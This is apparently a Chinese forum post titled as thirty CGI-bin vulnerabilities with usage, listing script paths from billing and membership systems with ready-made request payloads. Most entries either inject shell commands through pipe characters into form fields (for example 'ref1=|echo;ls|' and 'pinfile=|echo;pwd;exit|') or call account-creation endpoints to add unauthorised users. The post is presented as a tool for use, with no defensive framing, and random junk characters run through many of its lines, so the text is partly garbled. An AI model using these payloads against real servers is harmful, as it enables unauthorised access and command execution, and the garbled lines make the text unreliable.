Cgi-bin 30个漏洞＋使用方法

admin

==============================

* `. _$ z1 p2 j! P$ m/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command
+ l, r) R& @+ V( y  P( ?) h! q( Q3 l: a
) j5 `( A/ z/ l( r; S: K* V( q/passmaster.cgi
Action=Add&Username=Username&Password=Password
, T1 M0 h+ x8 r4 N4 I
/accountcreate.cgi
; s; F$ f5 u* h9 Qusername=username&password=password&ref1=|echo;ls|
$ M& n* d/ x  t
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

% Q  \& u' E) H/addusr.pl
$ J- d! _, P1 [$ O/cgi-bin/EuroDebit/addusr.pl
4 M( l; V- a+ Suser=username&pass=Password&confirm=Password
3 w5 j1 ^& s& L8 q, Z0 ^
/ccbill-local.asp
post_values=username:password

/count.cgi
pinfile=|echo;ls -la;exit|
3 _5 F; N, k9 T: A
/recon.cgi
( i) [& C. L0 O8 l) E/recon.cgi?search
5 |3 o5 _7 P( r9 c* N; Ysearchoption=1&searchfor=|echo;ls -al;exit|
  `' D' M9 v+ \  ?( h' i+ A
/verotelrum.pl
7 C, [1 ]( e/ `vercode=username:password:dseegsow:add:amount<&30>
/ W. R; k. A3 G0 S% `0 T  ^
1 b( f- D% ^9 q; b% y& r) |/af.cgi
, [) I5 x4 n; X1 c# a_browser_out=|echo;ls -la;exit;|
  `& _6 K+ E' ]3 S1 v2 k5 l" b* a  l
/modify.cgi
9 Q/ Q% H& s+ x# ausername=username&password=password&expire=30
# n6 w& m  v7 c7 ]
3 B, @, {  m* l' [7 X) ]/openjournal.cgi
8 {# Q8 L3 a/ V6 X8 }" K& a) ~/ ?0 j2 jedit=1&ct=2&go=|echo;ls -al;exit|

$ o( G3 I$ q- p: t6 L3 O: r1 g/gx9passwd.cgi
- Q2 t7 P4 i+ x" v& f/ q" Gcmd=ADD&user=username&pass=password
" Z, W- V  }9 t6 a9 }
/probecontrol.cgi
command=enable&username=username&password=password
$ @7 ^. y6 h! J* c9 g& j$ {
/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
  Y7 y/ m1 y: H1 s7 k/ ^! t
2 q) Z( G. a" W- {/htadd.pl
9 }0 N4 o, w( n; `7 \' ]configfile=|echo; ls -alt; exit

/gx9passwd.cgi
2 j% `5 F5 X& t. F; s# Pcmd=ADD&user=username&pass=password

% [9 @) Z3 J! `$ s/ o) f/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
) ]4 }; L; B, [command=add_member&username=username(EMAIL)&password=password(DES)

5 G8 t' R+ X4 I/globill_ut.cgi
8 p5 h% c& ^5 rdo=add&username=username&password=password&wpassword=password

' d% t2 H' n, ^/usercontrol.cgi
2 v' ~/ d8 W4 Mcommand=enable&username=USER&password=PASS
: s( @( Y1 u/ g) O5 |2 k. t) h: W
8 N6 _! M. `- R* R+ b$ t/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
5 g' i7 `* o/ P# X1 x  r5 puser=USER&pass=PASS&confirm=PASS
$ x  F& B  T! X0 P
/pincount.cgi
; o" Q& I) ]0 E5 L2 D% ]" h/cgi-bin/mastergate/pincount.cgi
  H# x. Y: m1 v8 u# Hpinfile=|echo;pwd;exit|
6 k- [" K2 s- v, f1 A/ w( L! p+ J
/accountcreate.cgi
* s  b' F+ F, ]  D, `* N/cgi-bin/gateway/accountcreate.cgi
+ ~& s9 Y4 @9 R" I2 I: gusername=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
ADD+;echo;pwd;exit
' f$ ~. g& q1 F$ m4 _8 }
/count.cgi
% U4 y. ?- K( b  {4 m1 Cpinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

  J/ E" Y) r7 V5 Z9 W  c/add.cgi
: {% X7 [7 o9 ausername=username&password=password&expire=30

==============================